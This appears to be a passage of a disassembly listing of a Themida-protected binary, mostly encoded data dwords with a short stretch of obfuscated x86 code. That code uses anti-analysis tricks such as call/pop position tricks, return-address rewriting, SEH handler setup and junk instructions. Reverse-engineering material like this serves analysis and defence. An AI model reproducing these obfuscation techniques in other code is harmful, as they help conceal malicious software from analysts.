dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 64A48BC3h, 0C06F4194h, 0B30BCB95h, 69858BE1h, 6A061419h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 11B5C355h, 8EF0C7F3h, 0C9DE27C3h, 2E49BD8Bh
dd 0E8600614h, 0Ah, 44331D16h, 645BFDE1h, 0B58B33DDh, 6142FADh
dd 0A5858959h, 6106142Fh, 50044689h, 0DE85260h, 0CD000000h
dd 1AA3FF59h, 0FD3F469h, 2C5B4539h, 52505958h, 310F6160h
dd 310F5250h, 585A585Ah, 24348961h, 0B5FFA8B3h, 617AA90h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0A3C35242h
dd 602A6DDEh, 6890Fh, 95890000h, 61405C1h, 82008ABFh, 6B686128h
dd 66EEBE25h, 481DE8Bh, 60DE9424h, 858DF811h, 617AA98h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 37C35747h
dd 889955D6h, 8B6650C9h, 0E9505FD8h, 0Dh, 6FAD327Eh, 4DB56F9Ch
dd 36F52603h, 24048978h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 0F7C35646h, 477EC701h, 9D035227h, 614151Dh
dd 5B1BD89h, 95FF0614h, 61409ADh, 1655BD8Bh, 1610614h
dd 142C3585h, 7185C706h, 3061426h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 8F07C351h, 763D57FAh, 0FB658A58h, 3141BD23h, 0BD830614h
dd 617AA98h, 48840F00h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0ECE1C352h
dd 110B099Eh, 3BE99409h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 1A15C353h
dd 5028B3EBh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 5FF8B3C3h, 813DD8F6h, 8906E11Fh
dd 1429B9B5h, 0BE806h, 0E3E80000h, 5429C2AAh, 5BC791Dh
dd 14E958h, 0B8030000h, 4DC579B4h, 0F9AAC813h, 740C2E5Ch
dd 94CBC005h, 835F1E3Eh, 142671BDh, 850F0306h, 4E5h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 1DC35141h, 526A9B44h
dd 54A652B5h, 98BD83F0h, 617AAh, 4B3840Fh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0E1A35CC3h, 0EC076C22h, 0B5FF8844h, 617AA98h, 2AF595FFh
dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 0E53698C3h, 9F4D9940h, 0B58BFCEAh, 617AA8Ch
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 40C35343h
dd 0EEFCB37Fh, 0E83848BAh, 14h, 9E6ACF88h, 8D46E6BFh, 70D8532Eh
dd 6E81CA67h, 0AD2A1D37h, 0C75BF88Bh, 1000106h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 592AC196h, 58CAAC9Eh, 92D78166h, 12E95084h, 41000000h
dd 4922AC36h, 0E7B13378h, 0AC2C6962h, 98037F50h, 24348968h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0D5C35343h
dd 71CAB74Eh, 0F95B531h, 9D8B0614h, 614114Dh, 0AA98B5FFh
dd 9D8B0617h, 6140EA1h, 0B3195FFh, 6A0614h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0F215C8C3h
dd 0FC57B3C8h, 9E8h, 326BF100h, 0E7D04F8h, 0B70F7230h
dd 0B5895BF9h, 6142071h, 0AA8CB58Bh, 6A0617h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 440032C3h
dd 21BCB5DCh, 0E95528D2h, 6
dd 6A9B441Dh, 858BB552h, 61421D5h, 0C659D8Bh, 86890614h
dd 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 85C35242h, 148E954h, 0FE114632h, 29958B3Fh, 0BB061432h
dd 58928F05h, 0F04C283h, 5089DFBFh, 55006A20h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 633BAEA4h
dd 0EC5E1E99h, 4BDB531h, 8B660614h, 0DF8160FAh, 13FDCB7Bh
dd 15519D8Bh, 8D610614h, 17BE0685h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0ECB6405Ch
dd 9B520805h, 11E8h, 0DE684400h, 5A0B5CC4h, 8EC80718h
dd 2A894D8Bh, 0BD8B6DD1h, 6141951h, 0FBBF0F5Fh, 0B88689h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 7A5E04C3h, 6A59A6C1h, 0C82BB00h, 0B5FF7B17h
dd 617AA98h, 178D0Fh, 12E90000h, 36000000h, 7C1E87F0h
dd 5C865EF8h, 0DBA75CDh, 0A72F4D29h, 3995FF3Bh, 8B061409h
dd 142B4D9Dh, 52505006h, 11E9h, 6FC4BF00h, 0BDAF8C0Dh
dd 0D978BF10h, 9943272Eh, 310FC93Eh, 29CFBFBFh, 89585A20h
dd 0FFF52434h, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0E519CA6Fh
dd 1A88B479h, 0FE882E0h, 5F000000h, 0DBB0ABF8h, 877E075Eh
dd 0E5821F0Ch, 81669614h, 5FD8B4E3h, 7307E381h, 95FF3F86h
dd 61420F5h, 28B0Fh, 0DEB30000h, 68A0Fh, 0B5890000h, 6140025h
dd 0C21BD83h, 0F000614h, 1684h, 2CF78100h, 500AEE65h, 840Fh
dd 34890000h, 1B50124h, 0FF061409h, 17AA98B5h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 1D8F0FF8h, 0E8000000h, 11h, 942BCAB1h, 0A46258DEh, 88E1491Dh
dd 0E6B1B0A1h, 8A0F10h, 5B000000h, 2B195FFh, 85890614h
dd 6142B69h, 5820Fh, 81660000h, 0FF9E7EDBh, 17AA98B5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 0C5BEBCFCh, 3171FC4Ch, 7840Fh, 66560000h
dd 34EFD781h, 0DF8B665Fh, 308195FFh, 0BD8B0614h, 6142E2Dh
dd 9F5BD83h, 0F020614h, 6384h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 848F31CAh
dd 9D339C24h, 6141505h, 2D01858Bh, 0D7810614h, 751B01h
dd 6A0000C6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 44FFC355h, 345900FDh, 0BA606099h
dd 0D9CA9C5h, 61CA8B61h, 244D85C7h, 614h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0EE98CC3h, 82000000h, 5F741E0Fh, 32E3F012h, 0B2A89780h
dd 0F300E955h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 314C37C3h, 1434F5B5h, 6AC18B06h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 0B84AC353h, 0B1982215h, 0FE9DEh, 30B00000h
dd 0BE875064h, 0B240F87Eh, 3013B5BDh, 99858D41h, 8906140Fh
dd 141429B5h, 92BB5006h, 897C0308h, 0DBBF2404h, 2942FDD3h
dd 140E8985h, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0FAEFC355h, 8166F5B7h
dd 6ABC0FF3h, 5E858D00h, 6A0618ADh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 419EC356h
dd 2EB18851h, 2042BB8Fh, 0C083161Eh, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0B9A71D62h
dd 74FBC781h, 8B501F37h, 240489FEh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 7AC35040h, 6AE785h, 22F5BD8Bh
dd 6A0614h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 0C2C35242h, 0D2DF80C8h, 1A7195FFh, 6A0614h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 0E99E98C3h, 0Eh, 0C59DB129h, 807B6D69h, 65EA7746h, 8D8D271Bh
dd 617A8FCh, 8810Fh, 810F0000h, 2, 0D1FFFA8Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 82C35141h, 235DBD8Bh
dd 0BD830614h, 61412CDh, 66850F01h, 0F000000h, 1E8Bh, 12E800h
dd 2DA50000h, 430D84E6h, 0AF816DFFh, 9F714218h, 0CF3F5BEEh
dd 0CACDD781h, 665B61C8h, 4C90C781h, 8D89026Ah, 6141505h
dd 0FA8B6690h, 0BF665750h, 905BC6A2h, 0FFBBCF80h, 14093995h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 0C2BC00FAh, 0D8AE9FBh, 0E80000h, 5D000000h
dd 0AD68ED81h, 0BF0F0618h, 55006AFBh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0B5898447h
dd 6142C4Dh, 9623858Dh, 66900617h, 501458BFh, 0DD9D8B90h
dd 64061400h, 35FFh, 9D8B0000h, 6140025h, 258964h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0F2BC353h, 3694A321h, 85FFBFB9h, 614236Dh
dd 71E38166h, 319589F1h, 6A06141Bh, 55BD8BFFh, 0FF06141Bh
dd 141071B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 0EB80EE52h, 0CEF7810Eh, 0F021317h
dd 95FFDABFh, 6142B19h, 104E9h, 0B0F88B00h, 0F7D78100h
dd 0E61F6259h, 2830F70h, 8B000000h, 0E98D89D9h, 0E4061418h
dd 0E7C38171h, 3C4C1CE7h, 0DA830F61h, 81000000h, 0E194A8F7h
dd 91BD2908h, 0F06141Ah, 0B589C8B6h, 614082Dh, 6BAh, 8BDE8B00h
dd 0FE9C1h, 0F130000h, 0D1555E79h, 0B79A30E6h, 74153276h
dd 4E8C1ACh, 8258589h, 0F7660614h, 0FE9E2h, 0B1320000h
dd 0AC4E48F0h, 0CD2F135Ah, 11AC9B96h, 81C82B24h, 0AE84DBD3h
dd 9D18B2Dh, 1404A5B5h, 6E906h, 0BD230000h, 61412C9h, 19F5858Bh
dd 8D310614h, 61410C5h, 0F07C083h, 0C083DEBFh, 89575000h
dd 142131B5h, 3B5B5F06h, 11830FD0h, 89000000h, 1406A99Dh
dd 3BE906h, 8D890000h, 61406DDh, 20B58D8Bh, 0DF8B0614h
dd 0F01E183h, 2484h, 1DBD8900h, 83061425h, 1420B5A5h, 9529FE06h
dd 614267Dh, 19F59589h, 95890614h, 6140431h, 0E9h, 0C5B58D00h
dd 6A06180Eh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 520AC350h, 93461415h, 2DBB66A9h
dd 80006A1Bh, 95FF8FF3h, 6141169h, 0C13CD781h, 9DB94FDCh
dd 66000007h, 83C117BBh, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 0D4BF5CC3h, 56006AFCh
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 3844C0Dh, 71EF014Fh, 0FE92902h, 20000000h, 27882F8h
dd 0BE291C2Ah, 131F23A8h, 0C02BB8C2h, 0C8E0Fh, 8E0F0000h
dd 6, 223DB531h, 0D22B0614h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 68C35646h
dd 843EDA00h, 3F282C25h, 0BBD9D03h, 33AD0614h, 3E8D1C2h
dd 4E983D0h, 6AF475h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0BD8B33C3h, 61406D1h, 51006AFCh
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 0EB93C8D2h, 4C69C26Ah, 0CA99D8Bh, 880D0614h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 351FC356h, 9915E92Bh, 958B60C8h, 6143229h
dd 0C2816660h, 958B6819h, 6141FD9h, 4D8D8B61h, 6A061406h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 5177C356h, 0BD2B4266h, 6142B39h, 8BC28B50h
dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 19F172C3h
dd 0F2F04F2h, 89h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 123D9BCDh, 4D909296h
dd 0ADBD8330h, 61429h, 52840Fh, 810F0000h, 5, 0F5C38166h
dd 0B857h, 12E80000h, 72000000h, 0E1DD7211h, 40F79554h
dd 37539BFBh, 4023FB68h, 14E9F7h, 5DEA0000h, 0D27D8018h
dd 71F4976Ch, 5D557219h, 1E191569h, 8D5F22DEh, 144D798Dh
dd 0D98B6606h, 0BD8BE1FFh, 6140F6Dh, 2671BD83h, 0F000614h
dd 43A84h, 0D1BD8B00h, 6606140Ah, 0BD83FE8Bh, 6142671h
dd 3F840F01h, 8B000004h, 143511BDh, 71BD8306h, 3061426h
dd 3F6860Fh, 9600000h, 140D69BDh, 0D98C6606h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F6C35040h, 8B74A1A4h
dd 142F359Dh, 9E806h, 0D6A60000h, 15DE1B36h, 818240A8h
dd 0FCEE70CBh, 0E1805F1Fh, 0A5BD0904h, 0E8061404h, 11h
dd 99996497h, 0A1667E84h, 423D4B26h, 0A9B39A64h, 4D8D8934h
dd 5B061419h, 840FC90Ah, 1ADh, 2820Fh, 0F98A0000h, 8BF98B66h
dd 14196985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 0BD8B6BE9h, 6142395h, 1B818533h
dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 81607EC3h, 4959B2F0h, 0CA8B661Fh, 0BF665061h
dd 4898262h, 319D8B24h, 6606141Bh, 6ABB39BBh, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 0BC75B7AFh, 60ADBB61h, 313D2FBAh, 39952915h, 6106142Bh
dd 0AD958960h, 0F06141Bh, 686h, 5D950900h, 6106141Ch, 4E8h
dd 1F03FF00h, 12E900h, 0BA890000h, 6D6A3C29h, 7456B53Eh
dd 3D422C97h, 2A5613F3h, 5E950h, 2F370000h, 8B221981h
dd 0B3042444h, 60008B63h, 0D2C158BEh, 44896113h, 8E80424h
dd 29000000h, 47BD643Bh, 0F72737Ch, 1585h, 10E900h, 74660000h
dd 6AAD0FE7h, 10238B74h, 0E3146025h, 585FCE36h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0E3C35242h, 0DBC0F5E0h
dd 6C26C781h, 95FF2BC1h, 61409ADh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 9C35343h, 708398B4h, 39BD8B78h
dd 8906142Ch, 17AA9885h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 89E4F1F7h, 1422119Dh
dd 0CDB50906h, 0E9061415h, 15Bh, 0DE38166h, 90858B68h
dd 520617AAh, 0C75BFB8Bh, 1800h, 0B58BF900h, 617AA94h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 83C35343h
dd 0A6E1BFCFh, 669860F9h, 0AAB3FB8Bh, 0B29858Bh, 0DB800614h
dd 8B06894Bh, 14196985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1B04h, 0C3554500h, 6ABF724Bh, 710C21AEh
dd 0BE8h, 98AC3400h, 0E40B160Bh, 0C35D777Fh, 82DBD0Bh
dd 895B0614h, 141ACD85h, 4468906h, 1FB58D89h, 60960614h
dd 6E9h, 0A64EC200h, 8ACF9A58h, 525061C6h, 0AE9965Bh, 0AD000000h
dd 1B16548h, 1A41F9F9h, 90B5FF7Fh, 810617AAh, 0D27C82D7h
dd 0EEA56808h, 8C0F240Ah, 2, 34815F52h, 15ED5A24h, 52006A24h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0BF66C871h, 858DE93Dh, 617AA98h, 8499D0Bh, 0E8500614h
dd 10h, 62DC1B9Ch, 0AEBA7C40h, 0E0997DF1h, 0F59ABE0Bh
dd 2404895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 41C35141h, 5482FC27h, 74C7E73Ch, 31A59D09h, 95FF0614h
dd 61409ADh, 61FABF0Fh, 14E9h, 55BE4C00h, 0C0392031h, 592E337Fh
dd 5C4A969Ah, 0BAF70FD1h, 7185C797h, 3061426h, 60000000h
dd 13E9F78Bh, 5A000000h, 0C70C6F1Dh, 94D5E003h, 0FC61D750h
dd 67F2DB4h, 8361087Dh, 17AA98BDh, 840F0006h, 34h, 48E9D98Bh
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 76C8C353h, 1CAC387Dh, 68C0Fh
dd 95890000h, 6143529h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 89C08B00h, 1409A9B5h, 68B0F06h, 9000000h
dd 1425BD95h, 9BBB6606h, 83FA8BFFh, 142671BDh, 850F0306h
dd 460h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 92C35242h, 0AA98BD83h, 0F000617h, 43784h, 42D38000h
dd 0AA98B5FFh, 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 0C6106EC3h, 0C61B531h, 95FF0614h
dd 6142AF5h, 8BF98B66h, 17AA8CB5h, 19952906h, 0C706140Eh
dd 1000106h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1904h, 0C3504000h, 722D798Ch, 96F83401h, 0FE8B5250h
dd 0BF52310Fh, 0FD51096h, 50585A5Fh, 96DA8B66h, 10E9h
dd 363D9700h, 918A7CB0h, 4206BAA4h, 18B4899Fh, 98B5FF51h
dd 6A0617AAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 0F547C357h, 0FFB3A19Dh, 140B3195h
dd 55BD8B06h, 0E8061431h, 0Eh, 9058CC8Fh, 0C2C694F3h, 0CE6B4D2Dh
dd 12E9F55Ch, 0E9000000h, 5C4285A7h, 0C34120E9h, 0D0CD99C0h
dd 9842A979h, 0B58B5BD1h, 617AA8Ch, 90CF8166h, 0D5858B3Dh
dd 81061421h, 762C3AD7h, 0C486897Ch, 89000000h, 140FA59Dh
dd 29958B06h, 6A061432h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 0B211C356h, 8360CA64h
dd 17FDD78h, 140E29BDh, 0DE806h, 0D9C80000h, 0A076B55Eh
dd 8CE38AA6h, 890396A5h, 1409A99Dh, 0C2835B06h, 57006A04h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 2E4C2F0Ch, 5EC6687Ch, 50890B04h, 52006A20h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 92A6B875h
dd 0E9F88B66h
dd 0Eh, 330D7494h, 5BB98AB4h, 9284FDE0h, 858D14A6h, 617BE06h
dd 8689F98Ah, 0B8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 3BC35343h, 78AAB1ACh, 8B70EF9Ah, 142621BDh
dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 1C7DC351h, 60189CEAh, 0B866FE8Bh
dd 0FF61B7E4h, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 8E0F12h, 89000000h
dd 141371B5h, 3995FF06h, 8B061409h, 140BFDBDh, 2C4BB06h
dd 60963C3Ah, 0B9B25250h, 5250310Fh, 585A310Fh, 5061585Ah
dd 7E85250h, 0B9000000h, 90C5CA93h, 8F0F36C6h, 0
dd 8B310F5Fh, 96585ADFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 0CC35747h, 9368411h, 140D4D85h, 98B5FF06h
dd 6A0617AAh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 2E1AC351h, 8B64F9E2h, 0F595FFB3h
dd 6A061420h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0FCDAC356h, 728BC547h, 0D4F780FFh
dd 0C21BD83h, 0F000614h, 5284h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 8EAE41C5h
dd 14592091h, 10E9BD89h, 8B500614h, 243489DAh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CAC35545h, 8A9C1CCFh
dd 0FF22B8B1h, 17AA98B5h, 0FFFA8B06h, 1402B195h, 39852906h
dd 0FF061410h, 17AA98B5h, 0AAE78106h, 0E87260BEh, 0Ah
dd 878DE953h, 0FB143895h, 81662F3Fh, 5BBB39DFh, 308195FFh
dd 7E80614h, 23000000h, 0CFC68B29h, 0BF66FD58h, 835F4644h
dd 1409F5BDh, 840F0206h, 72h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 10C35646h, 3067C673h, 521BEA15h
dd 3DF80DCh, 0BD958960h, 8B061415h, 142D19B5h, 858B6106h
dd 6142D01h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 38C35141h, 5BD92F9Fh, 8BBBFF40h, 8B40FE19h, 1406C99Dh
dd 0C606h, 24F59D29h, 85C70614h, 614244Dh, 0
dd 0FFF356E9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 0C37D23A6h, 0B69BD89h
dd 0C18B0614h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 0D4C35646h, 53115DCDh, 4319D8Bh, 0BF5B0614h, 54F2E868h
dd 0F99858Dh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 0C89027C3h, 65DF81A1h, 502AFB99h
dd 0B820Fh, 52500000h, 0FD88B66h, 5A616031h, 24048958h
dd 68A0Fh, 9D8B0000h, 6140D55h, 6A006Ah, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0AD8297C3h
dd 53A3867Fh, 9D8B006Ah, 61413F5h, 0BCCA858Dh, 6A0618h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 76641EC3h, 895A55F1h, 14209185h, 5C08306h, 0DDF38166h
dd 90B39009h, 6E950h, 3D0000h, 0C3B78D99h, 819D8990h, 6A06142Eh
dd 5FBB6600h, 6A006A2Bh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 0EC6AC355h, 2D45B589h
dd 95FF0614h, 6141A71h, 8DFE8B66h, 17A8FC8Dh, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 5644828Ch, 8BDFFF65h, 1410399Dh, 0DB816606h, 0D1FF0828h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 22C35242h
dd 3FF8133Dh, 5818C582h, 1E99D8Bh, 0BD830614h, 61412CDh
dd 7A850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 4173C356h, 6C5384Ch
dd 67B48E1Bh, 26AF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 0BCC35343h, 5FE6362Bh, 90BB75D4h, 8BF3BB66h
dd 12E850h, 4FFD0000h, 0AA89FDBh, 0B9F11206h, 0BBCCC0F0h
dd 5C94B12Eh, 9D8B905Fh, 6140021h, 93995FFh, 8B660614h
; ---------------------------------------------------------------------------
stc
loc_5948A9: ; DATA XREF: Themida_:0054AC70o
jmp loc_595749
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 618BCD4h
cld
xor edi, 4EA344ABh
mov di, 0A341h
lea eax, [ebp+6179623h]
push 0
push ecx
call sub_5948D6
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5948D6 proc near ; CODE XREF: Themida_:005948CEp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5948D6 endp
; ---------------------------------------------------------------------------
xlat
mov esi, 321B8A4Eh
push edi
stc
pop ebx
adc di, 0F4F9h
push eax
mov [esp], eax
push 0
push ebp
call sub_594903
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594903 proc near ; CODE XREF: Themida_:005948FBp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_594903 endp
; ---------------------------------------------------------------------------
lea ecx, [ebp+53h]
jmp loc_59492A
; ---------------------------------------------------------------------------
db 0C5h
; ---------------------------------------------------------------------------
loc_59491C: ; CODE XREF: Themida_:00594972j
pusha
hlt
; ---------------------------------------------------------------------------
dw 2858h
db 0BBh, 0DAh, 67h
; ---------------------------------------------------------------------------
loc_594923: ; CODE XREF: Themida_:00594979j
push esp
add ebx, [edi]
xor ecx, [esi-5Bh]
inc eax
loc_59492A: ; CODE XREF: Themida_:00594916j
pop edi
jb loc_59493D
jo loc_59493D
jp $+6
loc_59493D: ; CODE XREF: Themida_:0059492Bj
; Themida_:00594931j
mov di, 0CD0Dh
push large dword ptr fs:0
add ebx, [ebp+61425CDh]
mov large fs:0, esp
pusha
xor bx, 304h
or di, 7Dh
popa
inc dword ptr [ebp+614236Dh]
mov [ebp+61409A1h], eax
call near ptr loc_59497B+4
js short loc_59491C
sub eax, 0EFAFEE6Bh
jg short loc_594923
loc_59497B: ; CODE XREF: Themida_:0059496Dp
jmp far ptr 680h:0F1CDE30h
; ---------------------------------------------------------------------------
align 4
dd 0E5BD8B00h, 5F06140Bh, 0BD89FF6Ah, 6141C25h, 0D49B5FFh
; CODE XREF: Themida_:loc_595701j
dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 0BD8B16C3h, 614235Dh, 2B1995FFh, 3EE90614h
dd 0B000001h, 1408CD9Dh, 100B006h, 1430599Dh, 6070E606h
dd 2215B503h, 0EE90614h, 0F2000000h, 0F0D2D984h, 6EB4E723h
dd 0A50BDDECh, 71E461FBh, 14E9h, 24D47000h, 7E3653ECh
dd 0FEA60C20h, 5A7117E6h, 79907E26h, 0F613CE9h, 0F083h
dd 0DE900h, 0C300000h, 0AEBC0CD6h, 38BFD0E3h, 0FE380FEh
dd 8B66C8B6h, 6BADFh, 0F5600000h, 0D8A0Fh, 8E90000h, 85000000h
dd 0B947F076h, 61B1417Eh, 8D31C18Bh, 6140D0Dh, 8A04E8C1h
dd 0E2F766F9h, 0FB090BBFh, 33C82B08h, 1431119Dh, 8BD18B06h
dd 1430E1BDh, 93E906h, 95890000h, 6142EA1h, 8858Bh, 0BD8B0000h
dd 6140FBDh, 31518D89h, 0C0830614h, 0FBBF0F07h, 8900C083h
dd 142ED185h, 0FD03B06h, 0F83h, 0FB8B5300h, 5BE95Bh, 0BF0F0000h
dd 0FEBF0FF8h, 0FFFF8D8Bh, 0EEBFFFFFh, 0E8443CCCh, 12h
dd 69B1DD02h, 0AA53E051h, 95BFA3D2h, 177D8FA0h, 0BD29ED6Eh
dd 6140F65h, 1E1835Fh, 23840Fh, 0FA8A0000h, 83DE8B66h
dd 0FFFFFFA5h, 9589FEFFh, 614221Dh, 89589h, 0B5310000h
dd 614167Dh, 0E9h, 34B58D00h, 8B06183Ch, 6A006AD8h, 3E85700h
